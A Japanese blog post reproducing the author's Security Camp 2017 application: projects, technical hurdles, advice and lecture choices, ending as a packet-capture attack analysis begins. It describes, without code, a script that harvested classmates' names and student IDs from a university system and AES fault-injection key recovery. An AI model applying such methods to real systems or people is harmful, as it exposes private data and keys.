げんたろう's備忘録

セキュリティに関して思ったことをまとめます。

セキュリティキャンプ2017の応募用紙晒し

f:id:gntrua:20170615194021p:plain


特に上げるためにレイアウト調整とかしてないので、読みづらいと思いますが、こんな感じで書くといいんだという1ケースとして見ていただければと思います。

選択問題1

あなたが今まで作ってきたものにはどのようなものがありますか?
いくつでもいいので、ありったけ自慢してください。

1. RSA-2048暗号機のゲートレベルでの設計及び見積り
 2048bitのRSA暗号を高速に実行するために、ハードウェアレベルでRSAの暗号機を設計しました。評価としては、見積り・速度・ゲートサイズを観点として設計し、私は特に速度に着目して設計しました。

2.オンライン多人数同時チェスゲーム
 このプログラムは私が作成したプログラムの中でも長期間にわたってプログラミングしたプログラムで、初めてネットワークプログラミングをしたプログラムでもありました。なので、プログラムの作成時間の多くをソケットプログラミングの学習が占めていました。このプログラムは授業の中で、javaGUIライブラリを使った何かを作るという課題の中で3人で作成しました。このプログラムの概要を説明します。複数あるチェスルームにユーザが入室し、二人揃うとランダムで選ばれた先後でゲームが開始します。プレイヤーは対戦中対戦相手をチャットを行ってコミュニケーションをとることが出来、また観戦者というロールもあり、観戦者は任意の部屋に入ってチェスを観戦し、またチャットを行うことができるというプログラムです。

3. AES-128に対する故障注入差分解析プログラム
 本プログラムは、授業の過程の中で作成したプログラムです。故障注入差分解析により暗号文から秘密鍵を導出します。

4. Raspberry Piを使った簡単なルータ
 Raspberry Piを使ってルータを設計してみました。作ってみようと思った動機は、linuxにはデフォルトでルーティングなども行えるiptablesがあるということを知り、Raspberry Piでルータが作成できるのではないかと考えたからです。

5.学内システムの中から学生の学籍番号と本名の一覧を導出するシェルスクリプト
 詳細は後述しますが、学内PCのシステムの中からユーザディレクトリの特定のファイルにアクセスすることで本名を取得し、それと学籍番号の対応付けを出力します。注意喚起のために作成しました。bashで書きました。

6.GUIオセロゲーム
 何の変哲もないオセロゲームです。しかし処理の高速化やAIでデータを扱いやすい形でコーディングしています。

7.Rubyを使った行列計算ライブラリ
 私は、大学で初めてプログラミングに触れ始め、まず知った言語はRubyでした。そして計算機を知った学生が誰しも感じることかもしれませんが、コンピュータを自在に扱うことの楽しさとその計算能力の高さにひどく感動しました。これまでもコンピュータとは物凄いことをやれる素晴らしいものだ、という風には感じていましたが、実際に自分で動かすことにより、その思いはより一層強まりました。今にして思えば稚拙な感動ではあったかもしれませんが、その当時はコンピュータでさまざまなことをやってみたい、という思いを強く感じました。そうした中で一年生の前期に書いたのが本プログラムです。丁度、大学1年生という学年には線形代数という科目で行列の種々の演算を学びます。私は行列演算というものに関しても非常に感銘を受け、行列の演算というすっきりとした数式で同時に多数の計算が行われる体系の素晴らしさ及び次元などの拡張性の高さ、現実問題への適用性・応用性の高さを知りました。私が1年次に習った応用としては簡約化による多元連立方程式の解を求めるものでしたが、中学時に連立方程式の問題に関して計算ミスに悩まされた私としては、アルゴリズミックに連立方程式で解けていく様は非常に面白みを感じました。そうした経緯もあり、このライブラリは手で計算していくのと同じ動きを計算機が行います。なので、あまり高速ではないですし、コンピュータのコンピュータたる良さを完全には活かせていないとは思います。しかし一方で線形代数やコンピュータの素晴らしさを感じた初学者が見て、わかりやすいプログラム実行過程になっていると考えています。そうした初学者にもわかりやすい実行ということを目的に作りました。しかし、当時はまだプログラミングの知識が乏しかったこともあり、初学者のために書いたにも関わらず、コメントがなかったりと絶対的な自己矛盾を抱えてはいます。(時間に余裕があればコメントも付けた形で後輩などに公開できればとは思っています)
概要としては以下のようになっています。
input.rb : 入力を受け付けます。
kanyaku.rb:簡約化します。
mt.rb :固有値及び逆行列を求めます。
output.rb:行列の出力を行います。
rank.rb:行列の階数を求めます。
reverse.rb:逆行列を求めます。
times.rb:掛け算をします。
zahyo.rb:連立方程式を解いて、その解を求めます。

簡約化には、掃き出し法を使っており、逆行列導出も掃き出し法による方法を用いています。連立方式を解くのにも簡約化を使っています。計算過程を表示することで手で計算を行うのと同様の計算過程が表示されるようになっています。

8. Radix Sortプログラム
Radix Sortは基数ソートのことで、メモリ容量に余裕があれば非常に高速で実行することができます。私は、C言語の標準のクイックソートよりも10倍近く早いソートを書きました。

選択問題2

それをどのように作りましたか?
ソフトウェアの場合には、どんな言語で作ったのか、どんなライブラリを使ったのかなども教えてください。追加したい機能や改善の案があれば、それも教えてください。

1.RSA-2048暗号機のゲートレベルでの設計・見積り
 回路図レベルで設計しました。
私は高速化を目的としていたため、種々の高速化のための技法を取り入れました。一つは、中国人剰余定理(CRT)です。中国人剰余定理を用いることで、RSA-2048bitにおいて多くの演算が1024bitで計算し、かつそれらを並列実行することができます。また、RSA暗号はその性質上、乗算やべき乗算の剰余を求める回数が多いです。なので、乗算回路やべき乗剰余、それらの中に入る加算器を高速にするために工夫を施しました。具体的にはモンゴメリ乗算を用いて、乗算剰余とべき乗剰余を高速で導出する回路を設計しました。また、足し算は非常に多くの回数行うことになるので、非常に重要な部品ですが、私はCarry Look Aheadを採用しました。最も直観的なRipple Carry Adderは、設計が簡単ですがbit長が長いと低速であるため、採用しませんでした。より高速化を目指すのであればLook Up Tableを採用すれば良かったのですが、メモリなどの使用を考慮せず、高速化を達成することを目指しました。

2. オンライン多人数同時チェスゲーム
javaで記述しました。ライブラリはjava.swingとjava.netしか使っておらず、その他の部分の多くは自分たちでコーディングしました。GUI部分ではjava.swing、ネットワーク通信部分では、java.netの各種を使いました。私が主に製作したのはネットワーク通信部分です。本プログラムの作成した動機としては、当時私の身の回りで将棋AIが流行っていたこと、そのため最終的にはさまざまなAIと対戦できるようなボードゲームプラットフォームを作りたいと考えていたからです。その中でもチェスを選択したのは、グループの全員がルールを深く理解し、かつAI技術も成熟しており、かつ将棋や囲碁ほどルールが複雑でないからでした。本プログラムは同時に20人が対戦することができます。また、指し手の情報は指し手の上の始点と終点によって交換するため、非常に簡易なプロトコルとなっています。(telnetで接続しても対戦できるほど)ですから、私が決めたこのプロトコルに則ったネットワーク部を持つチェスAIは本プログラムのプラットフォーム上で人とも対戦することができます。
 プログラムの実装方法としては、通信部分では、各ノードごとに通信用のスレッドを立て、そこで通信待ちをします。また、チャット用・ゲーム用・観戦用にそれぞれ別のスレッドが起動されます。また、通信の区別はポート番号によって行います。そのため、例えばポート10101番は対戦ルーム1番のポート、ポート101012番は対戦ルーム2番のポートという風にポートごとに対戦ルームを区切って実装しています。これらの実装は当時から非常に改善したいと思うところで、単一のサービスは単一のポートでやるべきですから、単一のポート番号で通信できるようにしたいと考えています。その場合、自分なりのプロトコルを決めることで通信相手を適切に識別し、その識別した通信相手とのコネクション情報を適切に選択することで情報を送信できるような仕組みが必要になると考えています。また、そうすることによって通信相手ごとにスレッドを立てるという方法も適切なのかという問題が出てくるかと考えています。今の実装では、チャット画面やチェス画面に更新があった場合にサーバ側からクライアント側へ通信するために複数のスレッドを待機させています。しかし、改善案としては、チェスについては今まで通りリアルタイム処理を行い、プレイヤーのチャット機能や対戦者同士のチャット機能についてはポーリングにした方が、単一のポートでより大規模な通信を行うことを可能にするのではないかと考えています。

3. AES-128に対する故障注入差分解析プログラム
 AESに対して故障(ビット誤り)を注入し、その下で計算された暗号文と正常な処理の下で生成された暗号文データを比較することによって秘密鍵を導出します。
 条件としては、AESの暗号化処理過程の9ラウンド目の最後に1bitの誤差を与えた場合になります。この条件の実現性については、例えばレーザーを使って任意のbitの誤りを生じさせるといったことを行うシチュエーションが想定されると考えています。
 秘密鍵全てを導出するためには、合計8個の同じ平文から生成された(平文の情報は必要ない)故障注入済みの暗号文8個と正常な処理により暗号化された暗号文1つが必要となります。しかし、それだけの情報で最も隠す必要のある秘密鍵で導出されてしまうのは、比較的恐ろしい話であると私は考えています。また、その実行を家庭用のPCで1秒足らずで行えます。
 ここまで簡単に導出できてしまう理由としては、AESはその設計思想上最後のラウンドにおいてMixColumnsという処理を行わず、それにより誤差がブロック全体へ伝搬することがなく、ある程度の範囲内に収まることになるからです。しかし、8ラウンド目に故障を注入した場合でもほとんど同じような形で導出することは可能ではありますが、その分必要となる故障注入済みの暗号文の数が増え、かつ計算時間も大幅に長くなるということになります。その場合、およそ32個の故障注入済みの暗号文が必要となります。

4.Raspbery Piでルータ作成
 Rasberry Pi 3 Model Bを使用しました。このバージョンではCentOSをインストールすることができ、CentOSを入れて、iptablesを上手く設定することによって、ルーティングテーブルを作り、実装しました。また、LANポートを三つ用意したかったので、USBポートにバッファロー製のUSB有線イーサネットアダプタを2つ挿入し、3ポートとしました。OS由来の機能を使うことで比較的容易にルータのようなものが作成できました。改善としては、実際に自分でフィルタリングプログラムを書いてみるのも面白いかなと考えています。

5. GUIオセロゲーム
 何の変哲もないオセロゲームです。しかし処理の高速化やAIでデータを扱いやすい形でコーディングしています。
そのために、Bitboardを採用し、指し手生成や反転処理を高速に行うことができるようになっています。

6.学内のシステムの中から学生の学籍番号と本名の一覧を導出するシェルスクリプト
 主にbashの中のfindやgrepを使って、書きました。動機としては、私の大学は学内のパソコン上で他人のディレクトリのほとんどを見ることができました。これはセキュリティ的な観点で良くないのではないか、と思いそれを実証してみるために学籍番号と本名との対応表を作成してみるシェルコマンドを作成しました。これを可能にしたのは、ほとんどの学生が必修科目においてlatex作成の講義があり、その中にauthorの名前を記入する課題があったため、全員分のlatexファイルにアクセスして、それを切り取れば十分に可能だと認識したためです。実際に実行することができ、そのことは報告しました。

7.Radix Sort
 C言語で記述しました。基数ソートは何らかの基数に分ける必要がありますが、私は例えば、int型の変数をchar型にキャストして配列にし、char型ごとに配列をソートすることで高速で実行できる工夫を施しました。

選択問題3

開発機のブログ、スライドなどの資料があれば、それも教えてください。コンテストなどに出品したことがあれば、それも教えてください。

ブログ:http://gntrua.hatenablog.com/
備忘録的に使っているだけです。

選択問題4

Twitterアカウント、Github、ブログをお持ちでしたら、アカウント名、URLなどを記載してください。

twitter: gntrua
github: https://github.com/gntrua

選択問題2-1

あなたが経験した中で印象に残っている技術的な壁はなんでしょうか?
(例えば、C言語プログラムを複数ファイルに分割する方法など)

1. Windows10のユーザ名をrenameする
 私は、Windows10を使っていますが、ユーザ名にg.katayamaのような文字列を入力してしまい、例えばコマンドプロンプトCUI上からg.katayama以下のディレクトリにアクセスできなかったり、VirtualBoxで共有フォルダを作成できないといったエラーが出ていました。

2.Javaにおけるソケットプログラミング時の通信入出力
 Javaのソケットプログラムを初めて書くときに、入出力で悩みました。具体的には、サーバプログラムを書いてから、クライアントプログラムを書いたのですが、サーバプログラムからクライアントプログラムへ送信した文字列がクライアント側で受け取れず、一方でtelnetでアクセスした場合には受け取れていたという問題でした。

3.学内のパソコンにEmacsをインストールする
 学内のパソコンにemacsをインストールしました。基本的に学内のパソコンにはrootがないので、その状態でインストールしました。当時の僕は初心者であったため、apt-getなどでインストールする事を試みましたが、いずれも失敗していました。rootがないので、当然ではあるのですが。

4.Median of Mediansという線形時間選択プログラムの相互参照のコーディング
 私は、選択問題の課題があり、median of mediansのプログラムを日本語wikipediaを参考に書いていたのですが、どうしても上手く実行できなかった時のことです。

5.実際に回路に触れたことがない私がRSAの暗号回路をゲート実装するとき
 私は、実際にハードウェアを設計したり実際に回路を組んだことがありませんでした。そうしたときに、どのように設計したら良いのか、どこから手を付けていいのかもわかりませんでした。特に2重ループを行いたいときに、どのように同期すればよいのかといったことがイメージできませんでした。

共通問題2-2

また、その壁を乗り越えるためにとった解決法を具体的に教えてください。

1. Windows10のユーザ名をrenameする
 最終的に行いたいことは、C:\Users\g.katayamaのrenameですから、単純にrenameすればいいはずです。しかし、多くのファイル参照がおかしくなってしまうことは自明にわかりました。windowsの多くの設定情報はレジストリ内に記載されているので、regedit.exeを使って、書き換えることを試みましたが、膨大にg.katayamaと記載されている部分があったので、googleで「windows レジストリ 一括置換」などと検索して、「Registry Finder」というプログラムを見つけ、それを使ってレジストリ内のg.katayamaとなっている文字列をkatayamaに変え、その後にrenameしました。しかし、これでも各ソフトウェアの内部に格納されている設定情報については置換することが出来ないので、そのあたりはエラーが出たら逐次改変していくという作業にはなりました。

2.Javaにおけるネットワークプログラミング
 これに関しては技術的な難しさというよりも解決策発見までのプロセスが重要になるのではないかと私は考えています。私は、サーバーにtelnetではデータを取得出来ていて、自分のクライアントではデータを取得できていないという状態にありました。しかし、自分のソースコードを見ても原因がわかりませんでした。そこで、私はjavaで実装されたtelnetソースコードを検索で探し、そのソースコードを読み、自分の書いたプログラムとネットワーク部にどのような違いがあったのかを確認しました。ソースコードは他のクラスなどとも関連づき、読み解くことは難しかったのですが、最終的に入出力ストリームは二つ必要で、一つは入力、もう一つは出力として使われるということにソースコードを読んで初めて気が付きました。ソースコードを読んでみるというのも学びの一つになり得るのだという教訓を得ました。

3.学内のパソコンにEmacsの最新版をインストールした話
 この時には、まずEmacsのホームページを見て、インストールにはどういうものがあるのかということをリサーチしました。そうすると、通常のexeとかのインストールファイルの他に、ソースコードが置かれているのがわかりました。これを見つけ、もしかしてコンパイルすれば実行できるのではないか、と考え、コンパイルを行ってみました。その際makeというコマンドにより自動的にビルドしてくれるということを初めて知りました。しかし、ただmakeを打っただけでは、実行することはできませんでした。そのため、詳しくmakefileの文法などを調べているうちに、その中にいろいろな設定の情報が記載されていることがあるということを知りました。そこで、makefileの中を見てみると、ユーザディレクトリよりも上の階層へのパスが記述されていることに気が付き、そこをユーザのディレクトリ内に収まるように記述し、makeしてみると上手くいきました。

4. Median of Mediansという線形時間選択プログラムの相互参照のコーディング
 このアルゴリズムは、相互参照を使ってコーディングするため少し複雑な構造を持ちます。そこで、日本語wikipediaを参考にしていましたが、どうしても上手く行かず、疑問に思い、英語wikipediaを見てました。それまでは英語に苦手感を持っていて、あまり積極的に英語のWEBサイトを見るということはしてきませんでした。しかし、英語のwikipediaアルゴリズムで実装してみると、上手くいき、日本語wikipediaアルゴリズムの内容では上手く行かない点が見えてきました。英語のWEBページに臆することなく挑戦することの重要性を感じました。

5.実際に回路に触れたことがない私がRSAの暗号回路をゲート実装するとき
 私がこの壁を解決するために選んだ解決策は仮想でFPGAが実行できるソフトウェアでいろいろな回路を設計してみるということでした。具体的にはQurtus primeのライトエディションをインストールして、実際にループがある回路などを実装してみました。Qurtusでは自分が設計した回路の回路図を表示してくれる機能があり、それを見ながら自分が行いたかった処理と回路図との対応関係を頭に入れていきました。それにより理解が深まっていったと感じました。

共通問題2-3

その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをしますか?

 まず、第一に私が主張したいのは英語のドキュメントを臆さずに読むということです。特に情報技術に関しての初学者や学習者の教材に関して、英語のドキュメントの方が良いものが揃っている場合が多いのではないかと私は考えています。例えば、Algorithm Intoroductionは多くの人が初学者の際に読んだことがある書籍であると思います。この本は著名な著者によって英語で書かれたものを日本語訳された本が出版されています。日本語訳された本自身は日本でも著名な方が翻訳されており、間違いが少なく理論も整然と書かれています。しかし、一度本に記載されている内容を日本語で検索し、情報を探すことを試みようものならば、間違いの海に身を投じることになります。日本語によるアルゴリズムの意味のブレ、処理手順のブレ、間違いなど私が経験してきた中でも数多くありました。勿論、全ての英語のドキュメントが正しくて、全ての日本語のドキュメントが間違っているということはありませんが、少なくとも初学者が学ぶような成熟しきった内容についての事項に関しては英語では大体権威ありそうなサイトに解説などが載っており、概ね正しいことが多いです。また、今は初学者の話をしましたが、それは少しずつ学び、プロになった段階でも同様のことであると考えます。例えば、ネットワークを生業にする人にとっては、RFCを読むことは欠かせないものですし、また多くのソフトウェアのドキュメントも英語で書かれていることが多いです。英語に臆していては何も学ぶことが出来ないと私は考えます。英語に臆さず、英語を読む努力をすることが必要不可欠だと私は考えます。そして、それを英語・日本語双方でアウトプットできれば完ぺきなのではないかと思います。そこまで極めるのは中々に難しいことかもしれませんが、そうした努力は欠かすべきものではないと考えます。
 第二に、人に聞くことです。おそらく、この応募用紙を記述する10割の人が同様のことに触れていて、何の面白みもない話だとは十分自覚していますが、あえて記述したいと思います。車輪の再発明という言葉があります。この言葉は車輪を再発明したとしても素晴らしい偉業とは言えない、というような意味だと私は認識しています。つまり、人が考えたことをもう一度発明してみたところで、あまり意味はないということです。人は自分が思いついたことや考えたこと(広義に発明といえるかもしれません)を、さまざまなメディアを用いて伝達していくことにより知の領域を広げてきました。つまり、人から伝達され、自らの課題を解決したりアイディアを得、その人がまた何かを発明して伝えていくという過程を経てきたと考えます。私が言いたいのは、それだけ人から何かを伝達されるという事象は大切であるということです。他の人の頭の中にアイディアがあるのに、それと全く同じものを自分で再び導き出すことにあまり意味がないのではないかという主張です。その上で、自分の中で思考し、自分にしかできないものを作り上げれば良いという考えです。
 第三に、実際に試してみることです。これについても多くの人が初心者にアドバイスをすることとして、挙げることではあると思います。しかし、理由は多岐にわたるのではないかと思います。私が挙げる理由としては、実現してみなければ、誰も相手にしてくれないからです。特に権威がない初心者の人などはそのことについて悩むのではないかと感じます。多くの意場合人は何かしら事象が顕在化しなければ対応してはくれません。例えばこういう脆弱性があるから良くない、といっただけでは相手にくれず、例えば実際にPoCを公開してみるとかそういったことになって初めて注目してもらうことができます。例えば、私の研究室ではソーシャルメディアのプライバシーの危険性について考察する研究を行っています。ソーシャルメディアでプライバシーを明かすのは危険だ、といっても人は相手にしません。しかし、ソーシャルメディアと他の情報を用いることで個人を特定できるとなってはじめて多くの人々は危険性を自覚するのではないかと考えます。その意味において、実現してみるやってみるということは非常に重要なことなのではないかと考えています。

共通問題3-1

あなたが今年のセキュリティキャンプで受講したいと思っている講義は何ですか?
そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?

セキュリティキャンプに実際に行くとなったと仮定した上で、時間割を立ててみました。
専門(1) ブラウザの脆弱性とそのインタパクト
専門(2) AIのデータ汚染を検知しよう
専門(3) AIのデータ汚染を検知しよう
専門(4) サイバー犯罪捜査の現場
専門(5) 暗号運用技術
専門(6) インシデントレスポンスで攻撃者を追いかけろ
専門(7) インシデントレスポンスで攻撃者を追いかけろ
にしたいと考えています。面白いトピックが多くあり、また自分の興味がある分野が並行して開講されていたりして非常に悩ましかったです。また各それぞれについての理由を述べたいと思います。

 専門(1)「ブラウザの脆弱性とそのインパクト」についてです。この講義を受講したいと考えた主要な要因は担当の講師の方にあります。私は2014年にセキュリティミニキャンプ名古屋に参加させていただきました。その際に課題としてXSS脆弱性があるWebページをソースコードも併せて読みながらどのような攻撃が為され得るか検討するというものが与えられました。(長谷川さんが出題されていました)私はその当時、大学1年生でCTFや実在する脆弱性に関しての知識もあまりなく、しかし悪戦苦闘しながらも1日という短い時間でしたら取り組みました。その講義の中で私の中ですごく印象に残っている出来事があります。それは講義の終わり、長谷川さんが私たち受講者が見つけられなかった脆弱性についての解説などを行われた後、Kinugawa Masatoさんによる攻撃のデモがあり、そのデモが非常に心に残っています。デモの様子としては、Kinugawaさんの用意した何か凄く不正そうな文字列をkinugawaさんがWebサイトに入力し、そうするとサーバがダウンしてしまうという流れでした。技術的なことなどについてはその場の多数が初心者であったため、あまり説明はなされませんでしたが、非常に印象的でした。文字列によって何か凄い影響が及ぼされた、といった程度のことしか当時の私(今もそれについて詳しくはわかっていないが)には理解することはできませんでしたが、セキュリティという技術の重要性について改めて認識させられた印象深い出来事でした。それをきっかけにkinugawaさんのブログを読んだりするようになり、XSSなどに関する知識を身に着けてきました。そんなkinugawaさんも担当しておられる「ブラウザの脆弱性とそのインパクト」の講義、非常に受講したいですし、様々なお話を伺いたいと考えています。そのため、専門(1)については、この講義を受講してみたいと考えました。
 専門(2)「AIのデータ汚染を検知しよう」については、私は最近初めて機械学習についての勉強を始め、最近やっと機械学習による簡単なプログラムが書けるようになってきた、という段階です。そうした中で私はこの応募用紙の選択問題で「機械学習の弱点を述べよ」という問いを選択しました。その中で私は機械学習のことを非常に熱心に調べ始めました。調べた中で、詳細は後述するのですが、CNNのデータに微小な擾乱を加えることで識別結果を大きく変えることができるという研究がありました。私はこれまで機械学習とセキュリティという問題をあまり関連付けて考えていませんでした。そうした中でこの研究の情報は非常に驚くものでした。確かに完ぺきなアルゴリズムなどは世の中には存在しませんし、機械学習が世界中で使われようとしている今、その機械学習についてセキュリティ的な観点での問題が生じないわけはないと改めて感じました。身の回りでも、AIを使って監視していると謳う監視カメラがあったり(本当かどうかは知りませんが)します。こうした技術が現実化されたとき、今までのプログラムでは可能とされなかったような監視回避方法が新たに生まれてしまう可能性が存在すると考えられます。そうした中で、本講義ではAIに対して汚染データを挿入したりする手法という上記で言及した危険性の取っ掛かりの部分を学べるのではないかと考え、非常に興味を持ちました。
 専門(4)「サイバー犯罪捜査の現場」については、将来のキャリアパスを考えてのものです。本講義で取り扱うサイバー犯罪捜査の現場だけでなく、今後(もしくは現在)公的機関にはさまざまな目的についての情報技術部署が存在していくであろうということは言うまでもないことかとは思います。そうした職は日本の国家の安全や安心を情報技術の面から守ることができる素晴らしい職業だと私は考えています。私は将来そうした国でも企業でも構わないのですが、組織のセキュリティを管理し、守っていく職に就きたいと考えています。そうした中で、公的機関でサイバー犯罪の捜査などでセキュリティに深く関わる職に就かれている方々のお話をお聞きしてみたいと思ったからです。また、単純に実際の現場での踏み台攻撃の容易さとか、捜査する立場から見た、攻撃者の追跡可能性についてのお話にとても興味があります。
 専門(5)「暗号運用技術」については、私が現在所属している研究室で、取り扱う研究テーマである暗号データベースに関係が深い内容です。私は、現代でも良く使われる暗号の具体的なアルゴリズムや構造について学んでおり、卒業研究や修士論文もそれに関連した研究で発表したいと考えています。私が取り扱いたいと考えている暗号データベースは、社会と密接な関係にある暗号研究のテーマであり、社会での運用によって素晴らしく完成された暗号体系でも非常に脆いものとなってしまいかねないと私は考えています。特にマルチパーティ計算などは、出力や処理に多くの制約をかけて安全性を担保しているのに、ユーザの良くない運用によってそれが崩れてしまうのは非常に残念なことのように思います。そうしたこともあり、この講義でご説明される実社会で使われる暗号技術やその運用については非常に興味がある内容です。
 専門(6)「インシデントレスポンスで攻撃者を追いかけろ」については、インシデントレスポンス対応の特質に非常に興味を感じました。インシデントレスポンス対応における解析は、攻撃者への威力が最も高いセキュリティ対策なのではないかと私は考えます。なぜならば、セキュリティには多層防御という言葉があるようにさまざまな段階において対策を行いますが、一般に言って未然に防止・抑止する対策はセキュリティ対策にとり、重要ではありますが、攻撃者への影響力も低いです。その一方で、インシデントレスポンスでは、攻撃者は痕跡を残さないように何らかのインシデント(攻撃)を起こしますが、痕跡はある程度残ってしまうものだと考えます。その場合、未然に防ぐよりも多くの情報を入手することが出来、攻撃者の特定などに最も良く迫ることができるのではないかと考えます。そういった意味で非常に面白いトピックなのではないかと考えました。勿論、インシデントを起こしてしまわないようにするのが最善かとは思いますが、インシデントレスポンスにおける解析技術の進展は、攻撃者への間接的な抑止効果も期待でき、非常に面白い分野であるという風に私は感じます。なので、受講してみたいと考えました。
 迷いましたが、今の自分に最も必要と思える講義を厳選しました。また、こうして理由を列挙しているうちにも、セキュリティキャンプへの参加意欲が高まったように思います。

共通問題3-2

あなたがセキュリティキャンプでやりたいことは何ですか?身に着けたいものは何ですか?

 私の高校時代から始まる情報技術に関する学びの多くは資格試験の合格にありました。高校時代から情報セキュリティ、データベース、エンベデットシステム、ネットワークスペシャリスト試験、これらを通して私はセキュリティ、ネットワーク、ハードウェア、データベースに関して基礎的な知識及び社会での使われ方を学んできました。しかし、それらはモノづくりや実際にやってみるといった学習姿勢とは乖離したものであったと感じています。私がそれに気づくきっかけとなったのは、名古屋で行われたセキュリティミニキャンプでした。実際に脆弱性の問題に取り組んでみることは、単純な面白さもあるとともに、実際にやってみることで気づける実在するWEBページの脆弱性などもあると感じました。そうした活動を通して、私はやってみるという活動を行い始めました。最初に行ったのは、ネットワーク構築でした。ネットワークの実際のパケットやプロトコルの働き(STPなど)などがあまり理解できていませんでした。それらについて教科書で読むだけに留まらず、実践してみようと考えました。そこで私は、GNS3を使って、実際にネットワークを組んでみて、その動きを観察することで、今ままで教科書で何となく読んでいたことに対しての理解が深まりました。また、アルゴリズムイントロダクションなどを読んでいる際にも、実際に実装してみることで、そのアルゴリズムが持つ問題点や効率性のポイントを掴むことができたという経験もあります。こうして実際にやってみる、ということの重要性をセキュリティミニキャンプを通して知ることができました。そして、より濃密な時間を過ごしたい、全国大会に行ってみたいという思いが私の中で起こるのは自然なことであったように思います。そして、ミニキャンプを受講した年に、セキュリティキャンプに申し込みました。しかし、力不足だったのか、落選してしまいました。そしてこれまで再挑戦しようと思うも、大学のテスト期間と重複し、申し込めずにいました。そして、大学4年次となり、授業も大方なくなった今、1年次のリベンジの気持ちを込めてセキュリティキャンプに申し込むことを決意しました。しかし、そうこうしているうちに、22歳となり、これがセキュリティキャンプに申し込むことができる最後のチャンスとなりました。そして、絶対に今年は行くという決意の下、この応募用紙を記入しています。あの頃よりも多くのことがわかるようになった今、当時よりも私のセキュリティキャンプへの参加意欲は高まっています。
 私がセキュリティキャンプに魅力を感じる最も大きな理由の一つに、現場で活躍されている方々が講師をされるという点にあります。私たち学生、特に大学生は、アカデミックな側面において、スペシャリストである教授の方々からいろいろなことを自由に教わることのできる環境に身を置いています。この学びも非常に充実したものではありますが、多くの場合に社会との距離を感じます。例えば、アカデミックな世界ではあまり個々のソフトウェアの脆弱性には着目しませんし、実際の運用がどうなり得るだろうかといったことも、そこまで深く考えない場合が多いです。しかし、私が今学びたい、社会でどうセキュリティ技術を活かせば良いのかという問いの答えのヒントは社会の中でセキュリティに関することを行われている方々にお聞きするのが一番効果的であると考えます。例えば、Microsoft Edgeに存在するクロスオリジンの脆弱性は割と深刻な問題なのではないかと私は考えるのですが、実社会での影響はどれほどのものなのか、なぜすぐにパッチが充てられないのだろうという疑問を感じます。日々社会のセキュリティに関して疑問を思うことが多くあります。そうした疑問を普段社会でセキュリティを守る立場にある講師の方々にぶつけたいと私は考えます。
 また、単純にいろいろなことを学びたいという思いも理由の一つとして挙げられます。大学の講義などを通して多くの教えられるという経験をしてきましたが、セキュリティキャンプに際して用意される学びの環境は非常に素晴らしいものだと私は感じています。例えば、私がミニキャンプで与えられたWebサイトはセキュリティキャンプでも用いられたものの改良版だと伺ったのですが、脆弱性があるWebサイト1つをとっても、その分野での最先端の方々が考えられて作れたもので、単純な脆弱性からセッションIDの生成にまつわる脆弱性があるなど整えられた環境ながらも学習者が多くのことを思考し、学べる環境・カリキュラムが用意されていると感じます。
また、広い分野のスペシャリストが一同に会されているということも理由の一つとして挙げられます。例えば、今回のセキュリティキャンプにはFPGAなどのハードウェアを専門に扱われている方から、ブラウザの脆弱性などを専門に取り扱われている方など低いレイヤーから高いレイヤーまでのいろいろな分野の方が講師として参加しておられます。普段抱えている疑問を解決し放題なんじゃないか、と合格する前から楽しみになるぐらいです。非常に広いセキュリティの分野ではありますが、セキュリティを守るという観点に立った場合、やはり最強なのは全てのレイヤーに通じている人だと私は考えます。多層防御という考え方はセキュリティで最も重要な考え方ですが、この多層はハードウェアから始まりソフトウェア、最終的にはユーザまで広がるこの領域全てに対して通じていられたらそれは最強のセキュリティ技術者なのではないかと私は考えます。例えば、ハードウェアならバイナリ解析、フォレンジック調査、サイドチャネル攻撃など挙げきれないほどの知識・技能があります。また、より大きな広がりを見せるソフトウェア技術に関しては言わずもがなであるかと思います。特にブラウザに関連する技術は情報の更新が早くまた、悪意のあるユーザが入り込む余地のある最も大きな領域でもあると考えます。こうした多岐に渡る情報技術分野全ての知識を身に着けるということに関してセキュリティキャンプというのは最高の場であり、私はそんな最強のセキュリティ技術者になるための機会を得られたらと考えています。
 そして最後に、これが最も重要だといえるかもしれませんが、人ととのつながりです。この応募用紙にも述べたように、人間というのは人に自分が発明したもの、考えたものを何らかのメディアによって伝達し、それにより伝達された人も自ら思考し、何等かの発明をする、そうした繋がりによって知の領域を現在まで広げてきたと感じています。つまり、知の領域を広げるために人に伝達するというプロセスは必要不可欠なものであると言えます。そうした点において、セキュリティキャンプという場には自分と同じセキュリティに強い興味関心を持ち、またきっと人に伝えるのが好きな人たちが集まっていると思います。講師の方々は特にそうなのではないかと思います。(教えようとされるぐらいですから)そうした環境に身を置き、いろいろな人からいろいろなアイディアを受け取り、自分の考えをより深め、また自分もそれを参加者の人たちに伝えたいと強く感じます。特に、私が研究の分野とする暗号技術については、私の大学の学生にはあまり仲間がおらず、是非同じ分野に興味がある仲間をこの機会に見つけることができればという思いもあります。そしてお互いに高めあうことができればきっとそれは幸せなことなのではないかと考えています。
 また、応募用紙を書いていて感じたことですが、応募用紙を書いていく中でブラウザの脆弱性機械学習についての最先端研究・Webサーバの脆弱性について深く考察し、いろいろなものを実装しました。この応募用紙を通して始まった自分の中での良い学習の姿勢を今後も持続していき、またセキュリティキャンプに参加してより一層高めていきたいと私は考えています。

 選択問題1

添付したファイルに記録された通信を検知しました。この通信が意図するものは何か、攻撃であると判断する場合は、何の脆弱性を狙っているか。また、通信フローにかけている箇所があればどのような内容が想定されるか、考えられるだけ全て解答してください。なお、通信内容を検証した結果があれば評価に加えます。

この通信パケット群はローカルネットワーク内における通信で192.168.74.1と192.168.74.130間の通信パケットをキャンプチャしたものを保存したものであります。これらのノードのMACアドレスはそれぞれ00:50:56~始まることから、2つのノードはVmwareのゲストOSであることがわりました。つまり仮想OS同士による仮想ネットワーク上での通信であると予想しました。また、TTLの値を確認してみると、128なのでOSがWindows同士の通信であるかと当初は思いました。しかしETリクエストのUserAgentがMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0となっていました。しかし、後述しますが、攻撃はwindowsにも対応しているようですが、/etc/passwdへのアクセスが成功していると鑑みるとMacOSである可能性の方が高いのではないかという風に推測しました。また、チェックサムがほとんど正しい値ではないことに着目したが、これはおそらくチェックサムオフロード機能が有効になっているからであると考えました。

次に、キャプチャされた通信を時系列(番号)に沿って検証していきます。
